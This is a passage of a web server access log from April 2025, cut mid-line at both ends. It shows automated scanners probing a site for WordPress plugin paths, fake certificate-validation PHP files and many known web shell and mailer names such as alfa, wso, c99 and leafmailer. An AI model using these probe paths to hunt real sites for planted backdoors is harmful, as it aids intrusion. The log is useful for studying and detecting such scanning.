-0400] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:39:17 -0400] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.131 - - [24/Apr/2025:20:39:17 -0400] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:39:18 -0400] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:39:18 -0400] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.131 - - [24/Apr/2025:20:39:18 -0400] "GET /wp-content/plugins/pwnd/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:39:19 -0400] "GET /about/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.131 - - [24/Apr/2025:20:39:19 -0400] "GET /plugins/jquery.filer/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 156.146.56.131 - - [24/Apr/2025:20:39:20 -0400] "GET /wp-content/plugins/dummyyummy/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:39:20 -0400] "GET /wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:39:20 -0400] "GET /wp-content/plugins/core/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:39:20 -0400] "GET /wp-content/plugins/revslider/includes/external/page/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.131 - - [24/Apr/2025:20:39:21 -0400] "GET /wp-content/plugins/Cache/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:39:21 -0400] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.131 - - [24/Apr/2025:20:39:22 -0400] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:39:22 -0400] "GET /index/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:39:22 -0400] "GET /wp-content/plugins/seoplugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:39:23 -0400] "GET /fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:39:23 -0400] "GET /js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:39:23 -0400] "GET /routes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.131 - - [24/Apr/2025:20:39:24 -0400] "GET /uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:39:24 -0400] "GET /templates/beez3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:39:24 -0400] "GET /wp-content/themes/digital-download/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:39:24 -0400] "GET /wp-content/plugins/wp-theme-editor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:39:25 -0400] "GET /templates/atomic/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 156.146.56.131 - - [24/Apr/2025:20:39:25 -0400] "GET /wp-content/plugins/seoo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.131 - - [24/Apr/2025:20:39:25 -0400] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.131 - - [24/Apr/2025:20:39:25 -0400] "GET /wp-includes/js/jcrop/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 156.146.56.131 - - [24/Apr/2025:20:39:25 -0400] "GET /wp-content/plugins/google-seo-rank/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:39:26 -0400] "GET /wp-content/plugins/erin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 156.146.56.131 - - [24/Apr/2025:20:39:26 -0400] "GET /wp-content/maintenance/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.131 - - [24/Apr/2025:20:39:26 -0400] "GET /wp-content/x/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.56.131 - - [24/Apr/2025:20:39:26 -0400] "GET /wp-content/plugins/seooyanz/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:39:27 -0400] "GET /wp-content/themes/sky-pro/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.131 - - [24/Apr/2025:20:39:27 -0400] "GET /wp-content/plugins/cp-pro/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:39:27 -0400] "GET /ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:39:27 -0400] "GET /wp-content/uploads/typehub/custom/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.131 - - [24/Apr/2025:20:39:28 -0400] "GET /wp-content/plugins/rencontre/inc/photo_import/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.56.131 - - [24/Apr/2025:20:39:28 -0400] "GET /wp-content/plugins/backup-backup/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.131 - - [24/Apr/2025:20:39:28 -0400] "GET /wp-content/plugins/pwnd-1/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:39:28 -0400] "GET /.tmb/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.131 - - [24/Apr/2025:20:39:29 -0400] "GET /wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.56.131 - - [24/Apr/2025:20:39:29 -0400] "GET /includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 156.146.56.131 - - [24/Apr/2025:20:39:29 -0400] "GET /themes/pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 188.235.129.154 - - [24/Apr/2025:20:43:51 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 CCleaner/130.0.0.0" 162.0.232.217 - - [24/Apr/2025:21:01:06 -0400] "GET /.well-known/pki-validation/ HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [24/Apr/2025:21:01:07 -0400] "GET /.well-known/pki-validation//parx.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [24/Apr/2025:21:01:08 -0400] "GET /.well-known/pki-validation/43e0da16-f4f8-4f0a-91d6-f41bf52aec3f.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [24/Apr/2025:21:01:09 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [24/Apr/2025:21:01:10 -0400] "GET /.well-known/pki-validation/admin.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [24/Apr/2025:21:01:11 -0400] "GET /.well-known/pki-validation/afnew.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [24/Apr/2025:21:01:12 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [24/Apr/2025:21:01:13 -0400] "GET /.well-known/pki-validation/cux.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [24/Apr/2025:21:01:13 -0400] "GET /.well-known/pki-validation/doc.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [24/Apr/2025:21:01:14 -0400] "GET /.well-known/pki-validation/dropdown.php%3fpass=yanz HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [24/Apr/2025:21:01:15 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [24/Apr/2025:21:01:16 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [24/Apr/2025:21:01:17 -0400] "GET /.well-known/pki-validation/muse.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [24/Apr/2025:21:01:18 -0400] "GET /.well-known/pki-validation/parx.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [24/Apr/2025:21:01:19 -0400] "GET /.well-known/pki-validation/plugins.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [24/Apr/2025:21:01:21 -0400] "GET /.well-known/pki-validation/pwnd.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [24/Apr/2025:21:01:22 -0400] "GET /.well-known/pki-validation/wp-error_log.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [24/Apr/2025:21:01:23 -0400] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [24/Apr/2025:21:01:24 -0400] "GET /.well-known/pki-validation/xmrlpc.php%3fp= HTTP/1.1" 301 795 "-" "get_local:DCV" 2a01:4f8:210:1144::2 - - [24/Apr/2025:21:11:19 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "DomainStatsBot/1.0 (https://domainstats.com/pages/our-bot)" 2a01:4f8:210:1144::2 - - [24/Apr/2025:21:11:21 -0400] "HEAD / HTTP/1.1" 301 0 "-" "DomainStatsBot/1.0 (https://domainstats.com/pages/our-bot)" 217.113.194.144 - - [24/Apr/2025:21:23:23 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Barkrowler/0.9; +https://babbar.tech/crawler)" 217.113.194.150 - - [24/Apr/2025:21:23:40 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Barkrowler/0.9; +https://babbar.tech/crawler)" 51.195.129.164 - - [24/Apr/2025:21:25:55 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4240.193 Safari/537.36" 195.191.219.131 - - [24/Apr/2025:21:34:57 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.0; http://mj12bot.com/)" 195.191.219.131 - - [24/Apr/2025:21:34:59 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.0; http://mj12bot.com/)" 195.191.219.131 - - [24/Apr/2025:21:35:02 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.0; http://mj12bot.com/)" 195.191.219.131 - - [24/Apr/2025:21:35:06 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.0; http://mj12bot.com/)" 106.227.49.113 - - [24/Apr/2025:21:41:34 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 162.0.232.217 - - [24/Apr/2025:21:55:05 -0400] "GET /.well-known/pki-validation/ HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [24/Apr/2025:21:55:08 -0400] "GET /.well-known/pki-validation//parx.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [24/Apr/2025:21:55:12 -0400] "GET /.well-known/pki-validation/43e0da16-f4f8-4f0a-91d6-f41bf52aec3f.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [24/Apr/2025:21:55:13 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [24/Apr/2025:21:55:15 -0400] "GET /.well-known/pki-validation/admin.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [24/Apr/2025:21:55:16 -0400] "GET /.well-known/pki-validation/afnew.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [24/Apr/2025:21:55:17 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [24/Apr/2025:21:55:18 -0400] "GET /.well-known/pki-validation/cux.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [24/Apr/2025:21:55:21 -0400] "GET /.well-known/pki-validation/doc.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [24/Apr/2025:21:55:22 -0400] "GET /.well-known/pki-validation/dropdown.php%3fpass=yanz HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [24/Apr/2025:21:55:25 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [24/Apr/2025:21:55:26 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [24/Apr/2025:21:55:27 -0400] "GET /.well-known/pki-validation/muse.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [24/Apr/2025:21:55:29 -0400] "GET /.well-known/pki-validation/parx.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [24/Apr/2025:21:55:30 -0400] "GET /.well-known/pki-validation/plugins.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [24/Apr/2025:21:55:31 -0400] "GET /.well-known/pki-validation/pwnd.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [24/Apr/2025:21:55:32 -0400] "GET /.well-known/pki-validation/wp-error_log.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [24/Apr/2025:21:55:33 -0400] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [24/Apr/2025:21:55:35 -0400] "GET /.well-known/pki-validation/xmrlpc.php%3fp= HTTP/1.1" 301 795 "-" "get_local:DCV" 105.74.67.62 - - [24/Apr/2025:22:18:48 -0400] "GET /shell4.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.67.62 - - [24/Apr/2025:22:18:51 -0400] "GET /ups.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.67.62 - - [24/Apr/2025:22:18:54 -0400] "GET /ru.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.67.62 - - [24/Apr/2025:22:18:57 -0400] "GET /if.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.67.62 - - [24/Apr/2025:22:19:01 -0400] "GET /vuln.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.67.62 - - [24/Apr/2025:22:19:04 -0400] "GET /fw.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.67.62 - - [24/Apr/2025:22:19:06 -0400] "GET /skipper.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.67.62 - - [24/Apr/2025:22:19:11 -0400] "GET /skippershell.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.67.62 - - [24/Apr/2025:22:19:14 -0400] "GET /tttt.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.67.62 - - [24/Apr/2025:22:19:18 -0400] "GET /tshop.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.67.62 - - [24/Apr/2025:22:19:21 -0400] "GET /alfa.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.67.62 - - [24/Apr/2025:22:19:24 -0400] "GET /shell.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.67.62 - - [24/Apr/2025:22:19:27 -0400] "GET /inje3ctor.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.67.62 - - [24/Apr/2025:22:19:31 -0400] "GET /saudi.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.67.62 - - [24/Apr/2025:22:19:34 -0400] "GET /wso.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.67.62 - - [24/Apr/2025:22:19:36 -0400] "GET /alfashell.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.67.62 - - [24/Apr/2025:22:19:39 -0400] "GET /my_alfa.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.67.62 - - [24/Apr/2025:22:19:42 -0400] "GET /uploader.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.67.62 - - [24/Apr/2025:22:19:48 -0400] "GET /up.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.67.62 - - [24/Apr/2025:22:19:52 -0400] "GET /hacked.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.67.62 - - [24/Apr/2025:22:19:55 -0400] "GET /c99.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.67.62 - - [24/Apr/2025:22:19:57 -0400] "GET /priv8.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.67.62 - - [24/Apr/2025:22:20:01 -0400] "GET /Navir.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.67.62 - - [24/Apr/2025:22:20:04 -0400] "GET /cmd13.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.67.62 - - [24/Apr/2025:22:20:07 -0400] "GET /inc20k1.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.67.62 - - [24/Apr/2025:22:20:11 -0400] "GET /1index.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.67.62 - - [24/Apr/2025:22:20:16 -0400] "GET /404.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.67.62 - - [24/Apr/2025:22:20:21 -0400] "GET /swm.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.67.62 - - [24/Apr/2025:22:20:23 -0400] "GET /wp.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.67.62 - - [24/Apr/2025:22:20:27 -0400] "GET /doc.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.67.62 - - [24/Apr/2025:22:20:29 -0400] "GET /shx.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.67.62 - - [24/Apr/2025:22:20:32 -0400] "GET /ws.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.67.62 - - [24/Apr/2025:22:20:33 -0400] "GET /m.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.67.62 - - [24/Apr/2025:22:20:37 -0400] "GET /edit-form.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.67.62 - - [24/Apr/2025:22:20:39 -0400] "GET /LEAF.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.67.62 - - [24/Apr/2025:22:20:42 -0400] "GET /leafmailer.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.67.62 - - [24/Apr/2025:22:20:45 -0400] "GET /mailer.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.67.62 - - [24/Apr/2025:22:20:48 -0400] "GET /leafmailer2.8.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.67.62 - - [24/Apr/2025:22:20:52 -0400] "GET /Leaf.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.67.62 - - [24/Apr/2025:22:20:54 -0400] "GET /leaf.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.67.62 - - [24/Apr/2025:22:20:58 -0400] "GET /x.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.67.62 - - [24/Apr/2025:22:21:01 -0400] "GET /srx.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.67.62 - - [24/Apr/2025:22:21:04 -0400] "GET /1337.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; 